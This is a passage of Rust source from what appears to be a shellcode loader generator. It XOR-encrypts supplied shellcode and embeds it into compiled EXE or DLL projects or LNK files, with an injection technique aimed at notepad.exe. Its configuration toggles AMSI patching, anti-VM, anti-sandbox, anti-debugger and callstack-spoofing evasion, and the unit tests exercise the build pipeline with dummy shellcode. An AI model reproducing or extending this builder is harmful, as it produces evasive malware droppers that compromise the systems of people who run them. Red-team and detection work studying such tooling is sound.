    905 /// * `binary_format` - The binary format (EXE or DLL)
    906 ///
    907 /// Returns the path to the compiled binary if successful, otherwise returns an error.
    908 pub fn build_release(project_name: &str, binary_format: &BinaryFormat) -> io::Result<PathBuf> {
    909     // LNK files are generated directly, no build needed
    910     if matches!(binary_format, BinaryFormat::Lnk) {
    911         return Ok(PathBuf::from(format!("{}.lnk", project_name)));
    912     }
    913 
    914     let output = Command::new("cargo")
    915         .arg("build")
    916         .arg("--release")
    917         .output()?;
    918 
    919     if !output.status.success() {
    920         let stderr = String::from_utf8_lossy(&output.stderr);
    921         return Err(io::Error::other(format!("cargo build failed: {}", stderr)));
    922     }
    923 
    924     let has_windows_target = Path::new(".cargo/config.toml").exists();
    925 
    926     let binary_name = if has_windows_target {
    927         match binary_format {
    928             BinaryFormat::Exe => format!("{}.exe", project_name),
    929             BinaryFormat::Dll => format!("{}.dll", project_name),
    930             BinaryFormat::Lnk => format!("{}.lnk", project_name),
    931         }
    932     } else {
    933         match binary_format {
    934             BinaryFormat::Exe => {
    935                 if cfg!(target_os = "windows") {
    936                     format!("{}.exe", project_name)
    937                 } else {
    938                     project_name.to_string()
    939                 }
    940             }
    941             BinaryFormat::Dll => {
    942                 if cfg!(target_os = "windows") {
    943                     format!("{}.dll", project_name)
    944                 } else if cfg!(target_os = "macos") {
    945                     format!("lib{}.dylib", project_name)
    946                 } else {
    947                     format!("lib{}.so", project_name)
    948                 }
    949             }
    950             BinaryFormat::Lnk => format!("{}.lnk", project_name),
    951         }
    952     };
    953 
    954     let binary_path = if has_windows_target {
    955         PathBuf::from("target")
    956             .join("x86_64-pc-windows-gnu")
    957             .join("release")
    958             .join(&binary_name)
    959     } else {
    960         PathBuf::from("target").join("release").join(&binary_name)
    961     };
    962 
    963     if !binary_path.exists() {
    964         return Err(io::Error::new(
    965             io::ErrorKind::NotFound,
    966             format!("Binary not found at {:?}", binary_path),
    967         ));
    968     }
    969 
    970     Ok(binary_path)
    971 }
    972 
    973 /// Copy a binary to a target location with a specific name
    974 ///
    975 /// # Arguments
    976 ///
    977 /// * `source` - Path to the source binary
    978 /// * `dest_dir` - Directory where the binary should be copied
    979 /// * `dest_name` - Name for the copied binary
    980 ///
    981 /// Returns the path to the copied binary if successful, otherwise returns an error.
    982 pub fn copy_binary(source: &Path, dest_dir: &Path, dest_name: &str) -> io::Result<PathBuf> {
    983     let dest_path = dest_dir.join(dest_name);
    984     fs::copy(source, &dest_path)?;
    985 
    986     Ok(dest_path)
    987 }
    988 
    989 /// Complete workflow: initialize, build, and copy a Rust project
    990 ///
    991 /// This is the main entry point that orchestrates the entire process:
    992 /// 1. Initializes a Rust project with release profile configured for stripping
    993 /// 2. Builds it in release mode (symbols are automatically stripped by Cargo)
    994 /// 3. Verifies the binary is valid
    995 /// 4. Copies the binary to the original working directory with the specified name
    996 ///
    997 /// Note: Symbol stripping is handled by Cargo's profile.release.strip = true setting,
    998 /// so binaries are automatically stripped during compilation without needing post-processing.
    999 ///
   1000 /// # Arguments
   1001 ///
   1002 /// * `config` - Build configuration containing all necessary parameters
   1003 ///
   1004 /// Returns the path to the final binary if successful, otherwise returns an error.
   1005 pub fn setup_and_build_project(config: &BuildConfig) -> io::Result<PathBuf> {
   1006     if matches!(config.binary_format, BinaryFormat::Lnk) {
   1007         let (encrypted_shellcode, _encryption_type_str, _key_bytes) = prepare_shellcode_encryption(
   1008             config.shellcode_data,
   1009             config.encryption_kind,
   1010             config.encryption_key,
   1011         )?;
   1012 
   1013         let lnk_path = std::env::current_dir()?.join(config.output_name);
   1014 
   1015         let default_encryption = EncryptionKind::XOR;
   1016         let encryption_kind = config.encryption_kind.unwrap_or(&default_encryption);
   1017         let encryption_key = config.encryption_key.unwrap_or("default_key");
   1018 
   1019         crate::internals::lnk_generator::generate_lnk_file(
   1020             &encrypted_shellcode,
   1021             &lnk_path,
   1022             encryption_kind,
   1023             config.technique,
   1024             encryption_key,
   1025             config.process,
   1026         )?;
   1027 
   1028         let final_path = copy_binary(&lnk_path, config.original_cwd, config.output_name)?;
   1029         Ok(final_path)
   1030     } else {
   1031         init_rust_project(config)?;
   1032         let binary_path = build_release(config.project_name, config.binary_format)?;
   1033         verify_binary(&binary_path)?;
   1034         let final_path = copy_binary(&binary_path, config.original_cwd, config.output_name)?;
   1035         Ok(final_path)
   1036     }
   1037 }
   1038 
   1039 #[cfg(test)]
   1040 fn init_rust_project_for_test(
   1041     project_name: &str,
   1042     shellcode_data: &[u8],
   1043     binary_format: &BinaryFormat,
   1044 ) -> io::Result<()> {
   1045     let encryption_kind = EncryptionKind::XOR;
   1046     let encryption_key = "test_key_12345";
   1047     let technique = Technique::CRT;
   1048     let process = "notepad.exe";
   1049 
   1050     let (encrypted_shellcode, encryption_type_str, key_bytes) =
   1051         prepare_shellcode_encryption(shellcode_data, Some(&encryption_kind), Some(encryption_key))?;
   1052 
   1053     write_cargo_toml(
   1054         project_name,
   1055         binary_format,
   1056         encryption_type_str,
   1057         false,
   1058         false,
   1059         false,
   1060     )?;
   1061 
   1062     fs::create_dir_all("src")?;
   1063 
   1064     let internals_source =
   1065         generate_internals_with_crypto_and_strings(encryption_type_str, false, false)?;
   1066     let source_code = generate_source_code(SourceCodeParams {
   1067         binary_format,
   1068         internals_source: &internals_source,
   1069         encryption: EncryptionParams {
   1070             encrypted_shellcode: &encrypted_shellcode,
   1071             key_bytes: &key_bytes,
   1072             encryption_type: encryption_type_str,
   1073         },
   1074         technique_params: TechniqueParams {
   1075             technique: &technique,
   1076             process,
   1077         },
   1078         with_api_hammering: false,
   1079         with_amsi_patch: false,
   1080         with_string_encryption: false,
   1081         with_dynamic_function_resolver: false,
   1082         with_anti_vm: false,
   1083         with_anti_sandbox: false,
   1084         with_anti_debugger: false,
   1085         with_callstack_spoofing: false,
   1086         encryption_kind: Some(&encryption_kind),
   1087         encryption_key: Some(encryption_key),
   1088     })?;
   1089 
   1090     let file_name = match binary_format {
   1091         BinaryFormat::Exe => "src/main.rs",
   1092         BinaryFormat::Dll => "src/lib.rs",
   1093         BinaryFormat::Lnk => return Ok(()), // LNK doesn't need source file
   1094     };
   1095 
   1096     fs::write(file_name, source_code)?;
   1097 
   1098     Ok(())
   1099 }
   1100 
   1101 #[cfg(test)]
   1102 fn setup_and_build_project_for_test(
   1103     project_name: &str,
   1104     output_name: &str,
   1105     original_cwd: &Path,
   1106     shellcode_data: &[u8],
   1107     binary_format: &BinaryFormat,
   1108 ) -> io::Result<PathBuf> {
   1109     init_rust_project_for_test(project_name, shellcode_data, binary_format)?;
   1110     let binary_path = build_release(project_name, binary_format)?;
   1111     verify_binary(&binary_path)?;
   1112     let final_path = copy_binary(&binary_path, original_cwd, output_name)?;
   1113     Ok(final_path)
   1114 }
   1115 
   1116 #[cfg(test)]
   1117 mod tests {
   1118     use super::*;
   1119     use crate::TEST_DIR_MUTEX;
   1120     use std::env;
   1121 
   1122     #[test]
   1123     fn test_init_rust_project() {
   1124         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1125 
   1126         let test_dir = env::temp_dir().join(format!("rust-project-test-{}", rand::random::<u32>()));
   1127         fs::create_dir_all(&test_dir).unwrap();
   1128 
   1129         let original_dir = env::current_dir().unwrap();
   1130         env::set_current_dir(&test_dir).unwrap();
   1131 
   1132         let shellcode = b"test shellcode";
   1133         let encryption_kind = EncryptionKind::XOR;
   1134         let technique = Technique::CRT;
   1135 
   1136         let config = BuildConfig {
   1137             project_name: "test_project",
   1138             output_name: "test_output",
   1139             original_cwd: &original_dir,
   1140             shellcode_data: shellcode,
   1141             binary_format: &BinaryFormat::Exe,
   1142             encryption_kind: Some(&encryption_kind),
   1143             encryption_key: Some("test_key_123"),
   1144             technique: &technique,
   1145             process: "notepad.exe",
   1146             with_api_hammering: false,
   1147             with_amsi_patch: false,
   1148             with_string_encryption: false,
   1149             with_dynamic_function_resolver: false,
   1150             with_anti_vm: false,
   1151             with_anti_sandbox: false,
   1152             with_anti_debugger: false,
   1153             with_callstack_spoofing: false,
   1154             low_resources: false,
   1155         };
   1156 
   1157         let result = init_rust_project(&config);
   1158         assert!(result.is_ok(), "should successfully initialize project");
   1159 
   1160         assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
   1161         assert!(
   1162             Path::new("src/main.rs").exists(),
   1163             "src/main.rs should exist"
   1164         );
   1165 
   1166         let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
   1167         assert!(
   1168             cargo_content.contains("test_project"),
   1169             "Cargo.toml should contain project name"
   1170         );
   1171 
   1172         env::set_current_dir(&original_dir).unwrap();
   1173         let _ = fs::remove_dir_all(&test_dir);
   1174     }
   1175 
   1176     #[test]
   1177     #[ignore = "requires x86_64-pc-windows-gnu target"]
   1178     fn test_build_release() {
   1179         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1180 
   1181         let original_dir = env::current_dir().unwrap();
   1182 
   1183         struct DirGuard(PathBuf);
   1184         impl Drop for DirGuard {
   1185             fn drop(&mut self) {
   1186                 let _ = env::set_current_dir(&self.0);
   1187             }
   1188         }
   1189         let _guard = DirGuard(original_dir.clone());
   1190 
   1191         let test_dir = env::temp_dir().join(format!("rust-build-test-{}", rand::random::<u32>()));
   1192         fs::create_dir_all(&test_dir).unwrap();
   1193 
   1194         env::set_current_dir(&test_dir).unwrap();
   1195 
   1196         let shellcode = b"test";
   1197         let encryption_kind = EncryptionKind::XOR;
   1198         let technique = Technique::CRT;
   1199 
   1200         let config = BuildConfig {
   1201             project_name: "build_test",
   1202             output_name: "build_output",
   1203             original_cwd: &original_dir,
   1204             shellcode_data: shellcode,
   1205             binary_format: &BinaryFormat::Exe,
   1206             encryption_kind: Some(&encryption_kind),
   1207             encryption_key: Some("test_key_123"),
   1208             technique: &technique,
   1209             process: "notepad.exe",
   1210             with_api_hammering: false,
   1211             with_amsi_patch: false,
   1212             with_string_encryption: false,
   1213             with_dynamic_function_resolver: false,
   1214             with_anti_vm: false,
   1215             with_anti_sandbox: false,
   1216             with_anti_debugger: false,
   1217             with_callstack_spoofing: false,
   1218             low_resources: false,
   1219         };
   1220 
   1221         init_rust_project_with_target(&config).unwrap();
   1222         let result = build_release("build_test", &BinaryFormat::Exe);
   1223 
   1224         assert!(
   1225             result.is_ok(),
   1226             "should successfully build project: {:?}",
   1227             result.err()
   1228         );
   1229 
   1230         let _ = env::set_current_dir(&original_dir);
   1231         let _ = fs::remove_dir_all(&test_dir);
   1232     }
   1233 
   1234     #[test]
   1235     fn test_copy_binary() {
   1236         let source_dir = env::temp_dir().join(format!("copy-source-{}", rand::random::<u32>()));
   1237         let dest_dir = env::temp_dir().join(format!("copy-dest-{}", rand::random::<u32>()));
   1238         fs::create_dir_all(&source_dir).unwrap();
   1239         fs::create_dir_all(&dest_dir).unwrap();
   1240 
   1241         let source_file = source_dir.join("test_binary");
   1242         fs::write(&source_file, b"fake binary content").unwrap();
   1243 
   1244         let result = copy_binary(&source_file, &dest_dir, "output.exe");
   1245         assert!(result.is_ok(), "should successfully copy binary");
   1246 
   1247         let dest_file = result.unwrap();
   1248         assert!(dest_file.exists(), "copied file should exist");
   1249         assert_eq!(
   1250             dest_file.file_name().unwrap(),
   1251             "output.exe",
   1252             "should have correct name"
   1253         );
   1254 
   1255         let content = fs::read(&dest_file).unwrap();
   1256         assert_eq!(content, b"fake binary content", "content should match");
   1257 
   1258         let _ = fs::remove_dir_all(&source_dir);
   1259         let _ = fs::remove_dir_all(&dest_dir);
   1260     }
   1261 
   1262     #[test]
   1263     #[ignore = "requires x86_64-pc-windows-gnu target"]
   1264     fn test_setup_and_build_project_integration() {
   1265         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1266 
   1267         let saved_dir = env::current_dir().unwrap();
   1268 
   1269         struct DirGuard(PathBuf);
   1270         impl Drop for DirGuard {
   1271             fn drop(&mut self) {
   1272                 let _ = env::set_current_dir(&self.0);
   1273             }
   1274         }
   1275         let _guard = DirGuard(saved_dir.clone());
   1276 
   1277         let work_dir = env::temp_dir().join(format!("integration-work-{}", rand::random::<u32>()));
   1278         let original_dir =
   1279             env::temp_dir().join(format!("integration-orig-{}", rand::random::<u32>()));
   1280         fs::create_dir_all(&work_dir).unwrap();
   1281         fs::create_dir_all(&original_dir).unwrap();
   1282 
   1283         env::set_current_dir(&work_dir).unwrap();
   1284 
   1285         let shellcode = b"test shellcode data";
   1286         let result = setup_and_build_project_for_test(
   1287             "myproject",
   1288             "final_binary",
   1289             &original_dir,
   1290             shellcode,
   1291             &BinaryFormat::Exe,
   1292         );
   1293         assert!(
   1294             result.is_ok(),
   1295             "complete workflow should succeed: {:?}",
   1296             result.err()
   1297         );
   1298 
   1299         let final_binary = result.unwrap();
   1300         assert!(final_binary.exists(), "final binary should exist");
   1301         assert_eq!(
   1302             final_binary.file_name().unwrap(),
   1303             "final_binary",
   1304             "should have correct name"
   1305         );
   1306         assert!(
   1307             final_binary.parent().unwrap() == original_dir,
   1308             "should be in original directory"
   1309         );
   1310 
   1311         let _ = env::set_current_dir(&saved_dir);
   1312         let _ = fs::remove_dir_all(&work_dir);
   1313         let _ = fs::remove_dir_all(&original_dir);
   1314     }
   1315 
   1316     #[test]
   1317     fn test_build_release_nonexistent_project() {
   1318         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1319 
   1320         let original_dir = env::current_dir().unwrap();
   1321 
   1322         struct DirGuard(PathBuf);
   1323         impl Drop for DirGuard {
   1324             fn drop(&mut self) {
   1325                 let _ = env::set_current_dir(&self.0);
   1326             }
   1327         }
   1328         let _guard = DirGuard(original_dir.clone());
   1329 
   1330         let test_dir = env::temp_dir().join(format!("no-project-{}", rand::random::<u32>()));
   1331         fs::create_dir_all(&test_dir).unwrap();
   1332         env::set_current_dir(&test_dir).unwrap();
   1333 
   1334         let result = build_release("nonexistent", &BinaryFormat::Exe);
   1335         assert!(result.is_err(), "should fail when project doesn't exist");
   1336 
   1337         let _ = env::set_current_dir(&original_dir);
   1338         let _ = fs::remove_dir_all(&test_dir);
   1339     }
   1340 
   1341     #[test]
   1342     fn test_copy_binary_nonexistent_source() {
   1343         let dest_dir = env::temp_dir().join(format!("copy-fail-{}", rand::random::<u32>()));
   1344         fs::create_dir_all(&dest_dir).unwrap();
   1345 
   1346         let nonexistent = PathBuf::from("/nonexistent/path/binary");
   1347         let result = copy_binary(&nonexistent, &dest_dir, "output");
   1348         assert!(result.is_err(), "should fail when source doesn't exist");
   1349 
   1350         let _ = fs::remove_dir_all(&dest_dir);
   1351     }
   1352 
   1353     #[test]
   1354     #[ignore = "requires x86_64-pc-windows-gnu target"]
   1355     fn test_strip_binary() {
   1356         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1357 
   1358         let original_dir = env::current_dir().unwrap();
   1359 
   1360         struct DirGuard(PathBuf);
   1361         impl Drop for DirGuard {
   1362             fn drop(&mut self) {
   1363                 let _ = env::set_current_dir(&self.0);
   1364             }
   1365         }
   1366         let _guard = DirGuard(original_dir.clone());
   1367 
   1368         let test_dir = env::temp_dir().join(format!("strip-test-{}", rand::random::<u32>()));
   1369         fs::create_dir_all(&test_dir).unwrap();
   1370         env::set_current_dir(&test_dir).unwrap();
   1371 
   1372         let encryption_kind = EncryptionKind::XOR;
   1373         let technique = Technique::CRT;
   1374 
   1375         let config = BuildConfig {
   1376             project_name: "strip_test",
   1377             output_name: "strip_output",
   1378             original_cwd: &original_dir,
   1379             shellcode_data: b"test",
   1380             binary_format: &BinaryFormat::Exe,
   1381             encryption_kind: Some(&encryption_kind),
   1382             encryption_key: Some("test_key_123"),
   1383             technique: &technique,
   1384             process: "notepad.exe",
   1385             with_api_hammering: false,
   1386             with_amsi_patch: false,
   1387             with_string_encryption: false,
   1388             with_dynamic_function_resolver: false,
   1389             with_anti_vm: false,
   1390             with_anti_sandbox: false,
   1391             with_anti_debugger: false,
   1392             with_callstack_spoofing: false,
   1393             low_resources: false,
   1394         };
   1395 
   1396         init_rust_project_with_target(&config).unwrap();
   1397         let binary_path = build_release("strip_test", &BinaryFormat::Exe).unwrap();
   1398 
   1399         let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
   1400         assert!(
   1401             cargo_content.contains("strip = true"),
   1402             "Cargo.toml should contain strip = true"
   1403         );
   1404 
   1405         let result = verify_binary(&binary_path);
   1406         assert!(result.is_ok(), "should successfully verify binary");
   1407 
   1408         // Check executable permissions (Unix only)
   1409         #[cfg(unix)]
   1410         {
   1411             use std::os::unix::fs::PermissionsExt;
   1412             let metadata = fs::metadata(&binary_path).unwrap();
   1413             assert!(
   1414                 metadata.permissions().mode() & 0o111 != 0,
   1415                 "binary should be executable"
   1416             );
   1417         }
   1418 
   1419         println!("Binary built with Cargo strip = true setting");
   1420 
   1421         let _ = env::set_current_dir(&original_dir);
   1422         let _ = fs::remove_dir_all(&test_dir);
   1423     }
   1424 
   1425     #[test]
   1426     fn test_verify_binary() {
   1427         let nonexistent = PathBuf::from("/nonexistent/path/binary");
   1428         let result = verify_binary(&nonexistent);
   1429         assert!(result.is_err(), "should fail when binary doesn't exist");
   1430 
   1431         let test_dir = env::temp_dir().join(format!("verify-test-{}", rand::random::<u32>()));
   1432         fs::create_dir_all(&test_dir).unwrap();
   1433 
   1434         let fake_binary = test_dir.join("fake_binary");
   1435         fs::write(
   1436             &fake_binary,
   1437             b"this is just some text, not a binary at all!",
   1438         )
   1439         .unwrap();
   1440 
   1441         let _ = verify_binary(&fake_binary);
   1442 
   1443         let _ = fs::remove_dir_all(&test_dir);
   1444     }
   1445 
   1446     #[test]
   1447     #[ignore = "requires x86_64-pc-windows-gnu target"]
   1448     fn test_generated_template_with_internals() {
   1449         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1450 
   1451         let original_dir = env::current_dir().unwrap();
   1452 
   1453         struct DirGuard(PathBuf);
   1454         impl Drop for DirGuard {
   1455             fn drop(&mut self) {
   1456                 let _ = env::set_current_dir(&self.0);
   1457             }
   1458         }
   1459         let _guard = DirGuard(original_dir.clone());
   1460 
   1461         let test_dir = env::temp_dir().join(format!("template-test-{}", rand::random::<u32>()));
   1462         fs::create_dir_all(&test_dir).unwrap();
   1463         env::set_current_dir(&test_dir).unwrap();
   1464 
   1465         let encryption_kind = EncryptionKind::XOR;
   1466         let technique = Technique::CRT;
   1467 
   1468         let config = BuildConfig {
   1469             project_name: "template_test",
   1470             output_name: "template_output",
   1471             original_cwd: &original_dir,
   1472             shellcode_data: b"shellcode",
   1473             binary_format: &BinaryFormat::Exe,
   1474             encryption_kind: Some(&encryption_kind),
   1475             encryption_key: Some("test_key_123"),
   1476             technique: &technique,
   1477             process: "notepad.exe",
   1478             with_api_hammering: false,
   1479             with_amsi_patch: false,
   1480             with_string_encryption: false,
   1481             with_dynamic_function_resolver: false,
   1482             with_anti_vm: false,
   1483             with_anti_sandbox: false,
   1484             with_anti_debugger: false,
   1485             with_callstack_spoofing: false,
   1486             low_resources: false,
   1487         };
   1488 
   1489         init_rust_project_with_target(&config).unwrap();
   1490 
   1491         let main_rs = fs::read_to_string("src/main.rs").unwrap();
   1492         assert!(
   1493             main_rs.contains("mod internals"),
   1494             "Generated template should contain internals module"
   1495         );
   1496         assert!(
   1497             main_rs.contains("pub fn hex_to_bytes"),
   1498             "Generated template should contain hex_to_bytes function"
   1499         );
   1500         assert!(
   1501             main_rs.contains("pub fn bytes_to_hex"),
   1502             "Generated template should contain bytes_to_hex function"
   1503         );
   1504 
   1505         let binary_path = build_release("template_test", &BinaryFormat::Exe).unwrap();
   1506         assert!(binary_path.exists(), "Binary should be built successfully");
   1507 
   1508         let _ = env::set_current_dir(&original_dir);
   1509         let _ = fs::remove_dir_all(&test_dir);
   1510     }
   1511 
   1512     #[test]
   1513     fn test_init_rust_project_dll() {
   1514         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1515 
   1516         let test_dir = env::temp_dir().join(format!("dll-project-test-{}", rand::random::<u32>()));
   1517         fs::create_dir_all(&test_dir).unwrap();
   1518 
   1519         let original_dir = env::current_dir().unwrap();
   1520         env::set_current_dir(&test_dir).unwrap();
   1521 
   1522         let shellcode = b"test shellcode";
   1523         let encryption_kind = EncryptionKind::XOR;
   1524         let technique = Technique::CRT;
   1525 
   1526         let config = BuildConfig {
   1527             project_name: "test_dll",
   1528             output_name: "test_output",
   1529             original_cwd: &original_dir,
   1530             shellcode_data: shellcode,
   1531             binary_format: &BinaryFormat::Dll,
   1532             encryption_kind: Some(&encryption_kind),
   1533             encryption_key: Some("test_key_123"),
   1534             technique: &technique,
   1535             process: "notepad.exe",
   1536             with_api_hammering: false,
   1537             with_amsi_patch: false,
   1538             with_string_encryption: false,
   1539             with_dynamic_function_resolver: false,
   1540             with_anti_vm: false,
   1541             with_anti_sandbox: false,
   1542             with_anti_debugger: false,
   1543             with_callstack_spoofing: false,
   1544             low_resources: false,
   1545         };
   1546 
   1547         let result = init_rust_project(&config);
   1548         assert!(result.is_ok(), "should successfully initialize DLL project");
   1549 
   1550         assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
   1551         assert!(
   1552             Path::new("src/lib.rs").exists(),
   1553             "src/lib.rs should exist for DLL"
   1554         );
   1555 
   1556         let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
   1557         assert!(
   1558             cargo_content.contains("cdylib"),
   1559             "Cargo.toml should contain cdylib for DLL"
   1560         );
   1561 
   1562         let lib_content = fs::read_to_string("src/lib.rs").unwrap();
   1563         assert!(
   1564             lib_content.contains("DllMain"),
   1565             "lib.rs should contain DllMain for DLL"
   1566         );
   1567 
   1568         env::set_current_dir(&original_dir).unwrap();
   1569         let _ = fs::remove_dir_all(&test_dir);
   1570     }
   1571 
   1572     #[test]
   1573     fn test_shellcode_embedding() {
   1574         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1575 
   1576         let test_dir =
   1577             env::temp_dir().join(format!("shellcode-embed-test-{}", rand::random::<u32>()));
   1578         fs::create_dir_all(&test_dir).unwrap();
   1579 
   1580         let original_dir = env::current_dir().unwrap();
   1581         env::set_current_dir(&test_dir).unwrap();
   1582 
   1583         let shellcode = b"\x90\x90\x90\xc3";
   1584         let encryption_kind = EncryptionKind::XOR;
   1585         let technique = Technique::CRT;
   1586 
   1587         let config = BuildConfig {
   1588             project_name: "embed_test",
   1589             output_name: "embed_output",
   1590             original_cwd: &original_dir,
   1591             shellcode_data: shellcode,
   1592             binary_format: &BinaryFormat::Exe,
   1593             encryption_kind: Some(&encryption_kind),
   1594             encryption_key: Some("test_key_123"),
   1595             technique: &technique,
   1596             process: "notepad.exe",
   1597             with_api_hammering: false,
   1598             with_amsi_patch: false,
   1599             with_string_encryption: false,
   1600             with_dynamic_function_resolver: false,
   1601             with_anti_vm: false,
   1602             with_anti_sandbox: false,
   1603             with_anti_debugger: false,
   1604             with_callstack_spoofing: false,
   1605             low_resources: false,
   1606         };
   1607 
   1608         let result = init_rust_project(&config);
   1609         assert!(result.is_ok(), "should successfully initialize project");
   1610 
   1611         let main_rs = fs::read_to_string("src/main.rs").unwrap();
   1612         assert!(
   1613             main_rs.contains("const ENCRYPTED_SHELLCODE: &[u8]"),
   1614             "main.rs should contain ENCRYPTED_SHELLCODE constant"
   1615         );
   1616         assert!(
   1617             main_rs.contains("const DECRYPTION_KEY: &[u8]"),
   1618             "main.rs should contain DECRYPTION_KEY constant"
   1619         );
   1620         assert!(
   1621             main_rs.contains("0x") && main_rs.contains("ENCRYPTED_SHELLCODE"),
   1622             "main.rs should contain embedded encrypted shellcode bytes"
   1623         );
   1624 
   1625         env::set_current_dir(&original_dir).unwrap();
   1626         let _ = fs::remove_dir_all(&test_dir);
   1627     }
   1628 
   1629     #[test]
   1630     fn test_format_bytes_as_array() {
   1631         let bytes = vec![0x01, 0x02, 0xFF];
   1632         let result = format_bytes_as_array(&bytes);
   1633         assert_eq!(result, "[0x01, 0x02, 0xff]");
   1634 
   1635         let empty: Vec<u8> = vec![];
   1636         let result = format_bytes_as_array(&empty);
   1637         assert_eq!(result, "[]");
   1638     }
   1639 
   1640     #[test]
   1641     fn test_build_env_builder_missing_fields() {
   1642         let result = BuildEnv::new().build();
   1643         assert!(result.is_err(), "should fail when project name is missing");
   1644         assert!(result
   1645             .unwrap_err()
   1646             .to_string()
   1647             .contains("Project name is required"));
   1648 
   1649         let result = BuildEnv::new().with_project_name("test").build();
   1650         assert!(result.is_err(), "should fail when output name is missing");
   1651         assert!(result
   1652             .unwrap_err()
   1653             .to_string()
   1654             .contains("Output name is required"));
   1655     }
   1656 
   1657     #[test]
   1658     fn test_build_env_builder_pattern() {
   1659         let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
   1660 
   1661         let original_dir = env::current_dir().unwrap();
   1662         let work_dir = env::temp_dir().join(format!("builder-work-{}", rand::random::<u32>()));
   1663         let output_dir = env::temp_dir().join(format!("builder-out-{}", rand::random::<u32>()));
   1664         fs::create_dir_all(&work_dir).unwrap();
   1665         fs::create_dir_all(&output_dir).unwrap();
   1666 
   1667         env::set_current_dir(&work_dir).unwrap();
   1668 
   1669         let shellcode = b"test";
   1670         let _result = BuildEnv::new()
   1671             .with_project_name("test_project")
   1672             .with_output_name("output.exe")
   1673             .with_original_cwd(&output_dir)
   1674             .with_shellcode(shellcode)
   1675             .with_binary_format(&BinaryFormat::Exe)
   1676             .build();
   1677 
   1678         env::set_current_dir(&original_dir).unwrap();
   1679         let _ = fs::remove_dir_all(&work_dir);
   1680         let _ = fs::remove_dir_all(&output_dir);
   1681     }
   1682 }